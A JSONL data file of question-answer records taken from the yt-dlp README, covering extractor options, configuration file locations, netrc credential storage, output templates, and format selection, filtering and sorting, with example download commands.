{"id": "gh_dce4e9e30527", "question": "How to: Extractor Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "--extractor-retries RETRIES     Number of retries for known extractor errors\n                                    (default is 3), or \"infinite\"\n    --allow-dynamic-mpd             Process dynamic DASH manifests (default)\n                                    (Alias: --no-ignore-dynamic-mpd)\n    --ignore-dynamic-mpd            Do not process dynamic DASH manifests\n                                    (Alias: --no-allow-dynamic-mpd)\n    --hls-split-discontinuity       Split HLS playlists to different formats at\n                                    discontinuities such as ad breaks\n    --no-hls-split-discontinuity    Do not split HLS playlists into different\n                                    formats at discontinuities such as ad breaks\n                                    (default)\n    --extractor-args IE_KEY:ARGS    Pass ARGS arguments to the IE_KEY extractor.\n                                    See \"EXTRACTOR ARGUMENTS\" for details. You\n                                    can use this option multiple times to give\n                                    arguments for different extractors", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418018"}
{"id": "gh_ddc58da15056", "question": "How to: Preset Aliases:", "question_body": "About yt-dlp/yt-dlp", "answer": "Predefined aliases for convenience and ease of use. Note that future\n    versions of yt-dlp may add or adjust presets, but the existing preset\n    names will not be changed or removed\n\n    -t mp3                          -f 'ba[acodec^=mp3]/ba/b' -x --audio-format\n                                    mp3\n\n    -t aac                          -f\n                                    'ba[acodec^=aac]/ba[acodec^=mp4a.40.]/ba/b'\n                                    -x --audio-format aac\n\n    -t mp4                          --merge-output-format mp4 --remux-video mp4\n                                    -S vcodec:h264,lang,quality,res,fps,hdr:12,a\n                                    codec:aac\n\n    -t mkv                          --merge-output-format mkv --remux-video mkv\n\n    -t sleep                        --sleep-subtitles 5 --sleep-requests 0.75\n                                    --sleep-interval 10 --max-sleep-interval 20", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418024"}
{"id": "gh_714cd2567552", "question": "How to: CONFIGURATION", "question_body": "About yt-dlp/yt-dlp", "answer": "You can configure yt-dlp by placing any supported command line option in a configuration file. The configuration is loaded from the following locations:\n\n1. **Main Configuration**:\n    * The file given to `--config-locations`\n1. **Portable Configuration**: (Recommended for portable installations)\n    * If using a binary, `yt-dlp.conf` in the same directory as the binary\n    * If running from source-code, `yt-dlp.conf` in the parent directory of `yt_dlp`\n1. **Home Configuration**:\n    * `yt-dlp.conf` in the home path given to `-P`\n    * If `-P` is not given, the current directory is searched\n1. **User Configuration**:\n    * `${XDG_CONFIG_HOME}/yt-dlp.conf`\n    * `${XDG_CONFIG_HOME}/yt-dlp/config` (recommended on Linux/macOS)\n    * `${XDG_CONFIG_HOME}/yt-dlp/config.txt`\n    * `${APPDATA}/yt-dlp.conf`\n    * `${APPDATA}/yt-dlp/config` (recommended on Windows)\n    * `${APPDATA}/yt-dlp/config.txt`\n    * `~/yt-dlp.conf`\n    * `~/yt-dlp.conf.txt`\n    * `~/.yt-dlp/config`\n    * `~/.yt-dlp/config.txt`\n\n    See also: [Notes about environment variables](#notes-about-environment-variables)\n1. **System Configuration**:\n    * `/etc/yt-dlp.conf`\n    * `/etc/yt-dlp/config`\n    * `/etc/yt-dlp/config.txt`\n\nE.g. with the following configuration file, yt-dlp will always extract the audio, copy the mtime, use a proxy and save all videos under `YouTube` directory in your home directory:\n```", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418031"}
{"id": "gh_1136286eb293", "question": "How to: Save all videos under YouTube directory in your home directory", "question_body": "About yt-dlp/yt-dlp", "answer": "-o ~/YouTube/%(title)s.%(ext)s\n```\n\n**Note**: Options in a configuration file are just the same options aka switches used in regular command line calls; thus there **must be no whitespace** after `-` or `--`, e.g. `-o` or `--proxy` but not `- o` or `-- proxy`. They must also be quoted when necessary, as if it were a UNIX shell.\n\nYou can use `--ignore-config` if you want to disable all configuration files for a particular yt-dlp run. If `--ignore-config` is found inside any configuration file, no further configuration will be loaded. For example, having the option in the portable configuration file prevents loading of home, user, and system configurations. Additionally, (for backward compatibility) if `--ignore-config` is found inside the system configuration file, the user configuration is not loaded.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418038"}
{"id": "gh_13be271ad199", "question": "How to: Configuration file encoding", "question_body": "About yt-dlp/yt-dlp", "answer": "The configuration files are decoded according to the UTF BOM if present, and in the encoding from system locale otherwise.\n\nIf you want your file to be decoded differently, add `# coding: ENCODING` to the beginning of the file (e.g. `# coding: shift-jis`). There must be no characters before that, even spaces or BOM.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418043"}
{"id": "gh_47b33a10657c", "question": "How to: Authentication with netrc", "question_body": "About yt-dlp/yt-dlp", "answer": "You may also want to configure automatic credentials storage for extractors that support authentication (by providing login and password with `--username` and `--password`) in order not to pass credentials as command line arguments on every yt-dlp execution and prevent tracking plain text passwords in the shell command history. You can achieve this using a [`.netrc` file](https://stackoverflow.com/tags/.netrc/info) on a per-extractor basis. For that, you will need to create a `.netrc` file in `--netrc-location` and restrict permissions to read/write by only you:\n```\ntouch ${HOME}/.netrc\nchmod a-rwx,u+rw ${HOME}/.netrc\n```\nAfter that, you can add credentials for an extractor in the following format, where *extractor* is the name of the extractor in lowercase:\n```\nmachine\nlogin\npassword\n```\nE.g.\n```\nmachine youtube login myaccount@gmail.com password my_youtube_password\nmachine twitch login my_twitch_account_name password my_twitch_password\n```\nTo activate authentication with the `.netrc` file you should pass `--netrc` to yt-dlp or place it in the [configuration file](#configuration).\n\nThe default location of the .netrc file is `~` (see below).\n\nAs an alternative to using the `.netrc` file, which has the disadvantage of keeping your passwords in a plain text file, you can configure a custom shell command to provide the credentials for an extractor. This is done by providing the `--netrc-cmd` parameter, it shall output the credentials in the netrc format and return `0` on success, other values will be treated as an error. `{}` in the command will be replaced by the name of the extractor to make it possible to select the credentials for the right extractor.\n\nE.g. To use an encrypted `.netrc` file stored as `.authinfo.gpg`\n```\nyt-dlp --netrc-cmd 'gpg --decrypt ~/.authinfo.gpg' 'https://www.youtube.com/watch?v=BaW_jenozKc'\n```", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418050"}
{"id": "gh_0b61161098d7", "question": "How to: Notes about environment variables", "question_body": "About yt-dlp/yt-dlp", "answer": "* Environment variables are normally specified as `${VARIABLE}`/`$VARIABLE` on UNIX and `%VARIABLE%` on Windows; but is always shown as `${VARIABLE}` in this documentation\n* yt-dlp also allows using UNIX-style variables on Windows for path-like options; e.g. `--output`, `--config-locations`\n* If unset, `${XDG_CONFIG_HOME}` defaults to `~/.config` and `${XDG_CACHE_HOME}` to `~/.cache`\n* On Windows, `~` points to `${HOME}` if present; or, `${USERPROFILE}` or `${HOMEDRIVE}${HOMEPATH}` otherwise\n* On Windows, `${USERPROFILE}` generally points to `C:\\Users\\\n` and `${APPDATA}` to `${USERPROFILE}\\AppData\\Roaming`", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418055"}
{"id": "gh_50ba9a4fa07a", "question": "How to: OUTPUT TEMPLATE", "question_body": "About yt-dlp/yt-dlp", "answer": "The `-o` option is used to indicate a template for the output file names while `-P` option is used to specify the path each type of file should be saved to.\n**tl;dr:** [navigate me to examples](#output-template-examples).\nThe simplest usage of `-o` is not to set any template arguments when downloading a single file, like in `yt-dlp -o funny_video.flv \"https://some/video\"` (hard-coding file extension like this is _not_ recommended and could break some post-processing).\n\nIt may however also contain special sequences that will be replaced when downloading each video. The special sequences may be formatted according to [Python string formatting operations](https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting), e.g. `%(NAME)s` or `%(NAME)05d`. To clarify, that is a percent symbol followed by a name in parentheses, followed by formatting operations.\n\nThe field names themselves (the part inside the parenthesis) can also have some special formatting:\n\n1. **Object traversal**: The dictionaries and lists available in metadata can be traversed by using a dot `.` separator; e.g. `%(tags.0)s`, `%(subtitles.en.-1.ext)s`. You can do Python slicing with colon `:`; E.g. `%(id.3:7)s`, `%(id.6:2:-1)s`, `%(formats.:.format_id)s`. Curly braces `{}` can be used to build dictionaries with only specific keys; e.g. `%(formats.:.{format_id,height})#j`. An empty field name `%()s` refers to the entire infodict; e.g. `%(.{id,title})s`. Note that all the fields that become available using this method are not listed below. Use `-j` to see such fields\n\n1. **Arithmetic**: Simple arithmetic can be done on numeric fields using `+`, `-` and `*`. E.g. `%(playlist_index+10)03d`, `%(n_entries+1-playlist_index)d`\n\n1. **Date/time Formatting**: Date/time fields can be formatted according to [strftime formatting](https://docs.python.org/3/library/datetime.html#strftime-and-strptime-format-codes) by specifying it separated from the field name using a `>`. E.g. `%(duration>%H-%M-%S)s`, `%(upload_date>%Y-%m-%d)s`, `%(epoch-3600>%H-%M-%S)s`\n\n1. **Alternatives**: Alternate fields can be specified separated with a `,`. E.g. `%(release_date>%Y,upload_date>%Y|Unknown)s`\n\n1. **Replacement**: A replacement value can be specified using a `&` separator according to the [`str.format` mini-language](https://docs.python.org/3/library/string.html#format-specification-mini-language). If the field is *not* empty, this replacement value will be used instead of the actual field content. This is done after alternate fields are considered; thus the replacement is used if *any* of the alternative fields is *not* empty. E.g. `%(chapters&has chapters|no chapters)s`, `%(title&TITLE={:>20}|NO TITLE)s`\n\n1. **Default**: A literal default value can be specified for when the field is empty using a `|` separator. This overrides `--output-na-placeholder`. E.g. `%(uploader|Unknown)s`\n\n1. **More Conversions**: In addition to the normal format types `diouxXeEfFgGcrs`, yt-dlp additionally supports converting to `B` = **B**ytes, `j` = **j**son (flag `#` for pretty-printing, `+` for Unicode), `h` = HTML escaping, `l` = a comma-separated **l**ist (flag `#` for `\\n` newline-separated), `q` = a string **q**uoted for the terminal (flag `#` to split a list into different arguments), `D` = add **D**ecimal suffixes (e.g. 10M) (flag `#` to use 1024 as factor), and `S` = **S**anitize as filename (flag `#` for restricted)\n\n1. **Unicode normalization**: The format type `U` can be used for NFC [Unicode normalization](https://docs.python.org/3/library/unicodedata.html#unicodedata.normalize). The alternate form flag (`#`) changes the normalization to NFD and the conversion flag `+` can be used for NFKC/NFKD compatibility equivalence normalization. E.g. `%(title)+.100U` is NFKC\n\nTo summarize, the general syntax for a field is:\n```\n%(name[.keys][addition][>strf][,alternate][&replacement][|default])[flags][width][.precision][length]type\n```\n\nAdditionally, you can set different output templates for the various metadata files separately from the general output template by specifying the type of file followed by the template separated by a colon `:`. The different file types supported are `subtitle`, `thumbnail`, `description`, `annotation` (deprecated), `infojson`, `link`, `pl_thumbnail`, `pl_description`, `pl_infojson`, `chapter`, `pl_video`. E.g. `-o \"%(title)s.%(ext)s\" -o \"thumbnail:%(title)s\\%(title)s.%(ext)s\"` will put the thumbnails in a folder with the same name as the video. If any of the templates is empty, that type of file will not be written. E.g. `--write-thumbnail -o \"thumbnail:\"` will write thumbnails only for playlists and not for video.\n**Note**: Due to post-processing (i.e. merging etc.), the actual output filename might differ. Use `--print after_move:filepath` to get the name after all post-processing is complete.\n\nThe available fields are:", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418104"}
{"id": "gh_fdb78445ae21", "question": "How to: Download YouTube playlist videos in separate directory indexed by video order in a playlist", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -o \"%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s\" \"https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418110"}
{"id": "gh_b557e3c5e9ee", "question": "How to: Download YouTube playlist videos in separate directories according to their uploaded year", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -o \"%(upload_date>%Y)s/%(title)s.%(ext)s\" \"https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418114"}
{"id": "gh_c8d088038a09", "question": "How to: Prefix playlist index with \" - \" separator, but only if it is available", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -o \"%(playlist_index&{} - |)s%(title)s.%(ext)s\" BaW_jenozKc \"https://www.youtube.com/user/TheLinuxFoundation/playlists\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418118"}
{"id": "gh_358e0afdddaa", "question": "How to: Download all playlists of YouTube channel/user keeping each playlist in separate directory:", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -o \"%(uploader)s/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s\" \"https://www.youtube.com/user/TheLinuxFoundation/playlists\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418122"}
{"id": "gh_b5db068d2a2e", "question": "How to: Download Udemy course keeping each chapter in separate directory under MyVideos directory in your home", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -u user -p password -P \"~/MyVideos\" -o \"%(playlist)s/%(chapter_number)s - %(chapter)s/%(title)s.%(ext)s\" \"https://www.udemy.com/java-tutorial\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418127"}
{"id": "gh_ebadfa95a2d4", "question": "How to: Download entire series season keeping each series and each season in separate directory under C:/MyVideos", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -P \"C:/MyVideos\" -o \"%(series)s/%(season_number)s - %(season)s/%(episode_number)s - %(episode)s.%(ext)s\" \"https://videomore.ru/kino_v_detalayah/5_sezon/367617\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418131"}
{"id": "gh_8a2334349d4e", "question": "How to: and put all temporary files in \"C:\\MyVideos\\tmp\"", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -P \"C:/MyVideos\" -P \"temp:tmp\" -P \"subtitle:subs\" -o \"%(uploader)s/%(title)s.%(ext)s\" BaW_jenozKc --write-subs", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418136"}
{"id": "gh_aac4f3c37258", "question": "How to: Download video as \"C:\\MyVideos\\uploader\\title.ext\" and subtitles as \"C:\\MyVideos\\uploader\\subs\\title.ext\"", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -P \"C:/MyVideos\" -o \"%(uploader)s/%(title)s.%(ext)s\" -o \"subtitle:%(uploader)s/subs/%(title)s.%(ext)s\" BaW_jenozKc --write-subs", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418140"}
{"id": "gh_82dfdb1c4d2d", "question": "How to: FORMAT SELECTION", "question_body": "About yt-dlp/yt-dlp", "answer": "By default, yt-dlp tries to download the best available quality if you **don't** pass any options.\nThis is generally equivalent to using `-f bestvideo*+bestaudio/best`. However, if multiple audiostreams is enabled (`--audio-multistreams`), the default format changes to `-f bestvideo+bestaudio/best`. Similarly, if ffmpeg is unavailable, or if you use yt-dlp to stream to `stdout` (`-o -`), the default becomes `-f best/bestvideo+bestaudio`.\n\n**Deprecation warning**: Latest versions of yt-dlp can stream multiple formats to the stdout simultaneously using ffmpeg. So, in future versions, the default for this will be set to `-f bv*+ba/b` similar to normal downloads. If you want to preserve the `-f b/bv+ba` setting, it is recommended to explicitly specify it in the configuration options.\n\nThe general syntax for format selection is `-f FORMAT` (or `--format FORMAT`) where `FORMAT` is a *selector expression*, i.e. an expression that describes format or formats you would like to download.\n**tl;dr:** [navigate me to examples](#format-selection-examples).\nThe simplest case is requesting a specific format; e.g. with `-f 22` you can download the format with format code equal to 22. You can get the list of available format codes for particular video using `--list-formats` or `-F`. Note that these format codes are extractor specific.\n\nYou can also use a file extension (currently `3gp`, `aac`, `flv`, `m4a`, `mp3`, `mp4`, `ogg`, `wav`, `webm` are supported) to download the best quality format of a particular file extension served as a single file, e.g. `-f webm` will download the best quality format with the `webm` extension served as a single file.\n\nYou can use `-f -` to interactively provide the format selector *for each video*\n\nYou can also use special names to select particular edge case formats:\n\n - `all`: Select **all formats** separately\n - `mergeall`: Select and **merge all formats** (Must be used with `--audio-multistreams`, `--video-multistreams` or both)\n - `b*`, `best*`: Select the best quality format that **contains either** a video or an audio or both (i.e.; `vcodec!=none or acodec!=none`)\n - `b`, `best`: Select the best quality format that **contains both** video and audio. Equivalent to `best*[vcodec!=none][acodec!=none]`\n - `bv`, `bestvideo`: Select the best quality **video-only** format. Equivalent to `best*[acodec=none]`\n - `bv*`, `bestvideo*`: Select the best quality format that **contains video**. It may also contain audio. Equivalent to `best*[vcodec!=none]`\n - `ba`, `bestaudio`: Select the best quality **audio-only** format. Equivalent to `best*[vcodec=none]`\n - `ba*`, `bestaudio*`: Select the best quality format that **contains audio**. It may also contain video. Equivalent to `best*[acodec!=none]` ([Do not use!](https://github.com/yt-dlp/yt-dlp/issues/979#issuecomment-919629354))\n - `w*`, `worst*`: Select the worst quality format that contains either a video or an audio\n - `w`, `worst`: Select the worst quality format that contains both video and audio. Equivalent to `worst*[vcodec!=none][acodec!=none]`\n - `wv`, `worstvideo`: Select the worst quality video-only format. Equivalent to `worst*[acodec=none]`\n - `wv*`, `worstvideo*`: Select the worst quality format that contains video. It may also contain audio. Equivalent to `worst*[vcodec!=none]`\n - `wa`, `worstaudio`: Select the worst quality audio-only format. Equivalent to `worst*[vcodec=none]`\n - `wa*`, `worstaudio*`: Select the worst quality format that contains audio. It may also contain video. Equivalent to `worst*[acodec!=none]`\n\nFor example, to download the worst quality video-only format you can use `-f worstvideo`. It is, however, recommended not to use `worst` and related options. When your format selector is `worst`, the format which is worst in all respects is selected. Most of the time, what you actually want is the video with the smallest filesize instead. So it is generally better to use `-S +size` or more rigorously, `-S +size,+br,+res,+fps` instead of `-f worst`. See [Sorting Formats](#sorting-formats) for more details.\n\nYou can select the n'th best format of a type by using `best\n.\n`. For example, `best.2` will select the 2nd best combined format. Similarly, `bv*.3` will select the 3rd best format that contains a video stream.\n\nIf you want to download multiple videos, and they don't have the same formats available, you can specify the order of preference using slashes. Note that formats on the left hand side are preferred; e.g. `-f 22/17/18` will download format 22 if it's available, otherwise it will download format 17 if it's available, otherwise it will download format 18 if it's available, otherwise it will complain that no suitable formats are available for download.\n\nIf you want to download several formats of the same video use a comma as a separator, e.g. `-f 22,17,18` will download all these three formats, of course if they are available.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418158"}
{"id": "gh_625554b57c58", "question": "How to: Filtering Formats", "question_body": "About yt-dlp/yt-dlp", "answer": "You can also filter the video formats by putting a condition in brackets, as in `-f \"best[height=720]\"` (or `-f \"[filesize>10M]\"` since filters without a selector are interpreted as `best`).\n\nThe following numeric meta fields can be used with comparisons `<`, `<=`, `>`, `>=`, `=` (equals), `!=` (not equals):\n\n - `filesize`: The number of bytes, if known in advance\n - `filesize_approx`: An estimate for the number of bytes\n - `width`: Width of the video, if known\n - `height`: Height of the video, if known\n - `aspect_ratio`: Aspect ratio of the video, if known\n - `tbr`: Average bitrate of audio and video in [kbps](## \"1000 bits/sec\")\n - `abr`: Average audio bitrate in [kbps](## \"1000 bits/sec\")\n - `vbr`: Average video bitrate in [kbps](## \"1000 bits/sec\")\n - `asr`: Audio sampling rate in Hertz\n - `fps`: Frame rate\n - `audio_channels`: The number of audio channels\n - `stretched_ratio`: `width:height` of the video's pixels, if not square\n\nAlso filtering work for comparisons `=` (equals), `^=` (starts with), `$=` (ends with), `*=` (contains), `~=` (matches regex) and following string meta fields:\n\n - `url`: Video URL\n - `ext`: File extension\n - `acodec`: Name of the audio codec in use\n - `vcodec`: Name of the video codec in use\n - `container`: Name of the container format\n - `protocol`: The protocol that will be used for the actual download, lower-case (`http`, `https`, `rtsp`, `rtmp`, `rtmpe`, `mms`, `f4m`, `ism`, `http_dash_segments`, `m3u8`, or `m3u8_native`)\n - `language`: Language code\n - `dynamic_range`: The dynamic range of the video\n - `format_id`: A short description of the format\n - `format`: A human-readable description of the format\n - `format_note`: Additional info about the format\n - `resolution`: Textual description of width and height\n\nAny string comparison may be prefixed with negation `!` in order to produce an opposite comparison, e.g. `!*=` (does not contain). The comparand of a string comparison needs to be quoted with either double or single quotes if it contains spaces or special characters other than `._-`.\n\n**Note**: None of the aforementioned meta fields are guaranteed to be present since this solely depends on the metadata obtained by the particular extractor, i.e. the metadata offered by the website. Any other field made available by the extractor can also be used for filtering.\n\nFormats for which the value is not known are excluded unless you put a question mark (`?`) after the operator. You can combine format filters, so `-f \"bv[height<=?720][tbr>500]\"` selects up to 720p videos (or videos where the height is not known) with a bitrate of at least 500 kbps. You can also use the filters with `all` to download all formats that satisfy the filter, e.g. `-f \"all[vcodec=none]\"` selects all audio-only formats.\n\nFormat selectors can also be grouped using parentheses; e.g. `-f \"(mp4,webm)[height<480]\"` will download the best pre-merged mp4 and webm formats with a height lower than 480.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418169"}
{"id": "gh_e3607d7ac57b", "question": "How to: Sorting Formats", "question_body": "About yt-dlp/yt-dlp", "answer": "You can change the criteria for being considered the `best` by using `-S` (`--format-sort`). The general format for this is `--format-sort field1,field2...`.\n\nThe available fields are:\n\n - `hasvid`: Gives priority to formats that have a video stream\n - `hasaud`: Gives priority to formats that have an audio stream\n - `ie_pref`: The format preference\n - `lang`: The language preference as determined by the extractor (e.g. original language preferred over audio description)\n - `quality`: The quality of the format\n - `source`: The preference of the source\n - `proto`: Protocol used for download (`https`/`ftps` > `http`/`ftp` > `m3u8_native`/`m3u8` > `http_dash_segments`> `websocket_frag` > `mms`/`rtsp` > `f4f`/`f4m`)\n - `vcodec`: Video Codec (`av01` > `vp9.2` > `vp9` > `h265` > `h264` > `vp8` > `h263` > `theora` > other)\n - `acodec`: Audio Codec (`flac`/`alac` > `wav`/`aiff` > `opus` > `vorbis` > `aac` > `mp4a` > `mp3` > `ac4` > `eac3` > `ac3` > `dts` > other)\n - `codec`: Equivalent to `vcodec,acodec`\n - `vext`: Video Extension (`mp4` > `mov` > `webm` > `flv` > other). If `--prefer-free-formats` is used, `webm` is preferred.\n - `aext`: Audio Extension (`m4a` > `aac` > `mp3` > `ogg` > `opus` > `webm` > other). If `--prefer-free-formats` is used, the order changes to `ogg` > `opus` > `webm` > `mp3` > `m4a` > `aac`\n - `ext`: Equivalent to `vext,aext`\n - `filesize`: Exact filesize, if known in advance\n - `fs_approx`: Approximate filesize\n - `size`: Exact filesize if available, otherwise approximate filesize\n - `height`: Height of video\n - `width`: Width of video\n - `res`: Video resolution, calculated as the smallest dimension.\n - `fps`: Framerate of video\n - `hdr`: The dynamic range of the video (`DV` > `HDR12` > `HDR10+` > `HDR10` > `HLG` > `SDR`)\n - `channels`: The number of audio channels\n - `tbr`: Total average bitrate in [kbps](## \"1000 bits/sec\")\n - `vbr`: Average video bitrate in [kbps](## \"1000 bits/sec\")\n - `abr`: Average audio bitrate in [kbps](## \"1000 bits/sec\")\n - `br`: Average bitrate in [kbps](## \"1000 bits/sec\"), `tbr`/`vbr`/`abr`\n - `asr`: Audio sample rate in Hz\n\n**Deprecation warning**: Many of these fields have (currently undocumented) aliases, that may be removed in a future version. It is recommended to use only the documented field names.\n\nAll fields, unless specified otherwise, are sorted in descending order. To reverse this, prefix the field with a `+`. E.g. `+res` prefers format with the smallest resolution. Additionally, you can suffix a preferred value for the fields, separated by a `:`. E.g. `res:720` prefers larger videos, but no larger than 720p and the smallest video if there are no videos less than 720p. For `codec` and `ext`, you can provide two preferred values, the first for video and the second for audio. E.g. `+codec:avc:m4a` (equivalent to `+vcodec:avc,+acodec:m4a`) sets the video codec preference to `h264` > `h265` > `vp9` > `vp9.2` > `av01` > `vp8` > `h263` > `theora` and audio codec preference to `mp4a` > `aac` > `vorbis` > `opus` > `mp3` > `ac3` > `dts`. You can also make the sorting prefer the nearest values to the provided by using `~` as the delimiter. E.g. `filesize~1G` prefers the format with filesize closest to 1 GiB.\n\nThe fields `hasvid` and `ie_pref` are always given highest priority in sorting, irrespective of the user-defined order. This behavior can be changed by using `--format-sort-force`. Apart from these, the default order used is: `lang,quality,res,fps,hdr:12,vcodec,channels,acodec,size,br,asr,proto,ext,hasaud,source,id`. The extractors may override this default order, but they cannot override the user-provided order.\n\nNote that the default for hdr is `hdr:12`; i.e. Dolby Vision is not preferred. This choice was made since DV formats are not yet fully compatible with most devices. This may be changed in the future.\n\nIf your format selector is `worst`, the last item is selected after sorting. This means it will select the format that is worst in all respects. Most of the time, what you actually want is the video with the smallest filesize instead. So it is generally better to use `-f best -S +size,+br,+res,+fps`.\n\n**Tip**: You can use the `-v -F` to see how the formats have been sorted (worst to best).", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418184"}
{"id": "gh_8a6abab5d68d", "question": "How to: by default, bestvideo and bestaudio will have the same file name.", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -f \"bv,ba\" -o \"%(title)s.f%(format_id)s.%(ext)s\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418191"}
{"id": "gh_f1c388bbb7a8", "question": "How to: and all audio-only formats into one file", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -f \"bv*+mergeall[vcodec=none]\" --audio-multistreams", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418195"}
{"id": "gh_5e0272129f0c", "question": "How to: Download the best mp4 video available, or the best video if no mp4 available", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -f \"bv*[ext=mp4]+ba[ext=m4a]/b[ext=mp4] / bv*+ba/b\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418203"}
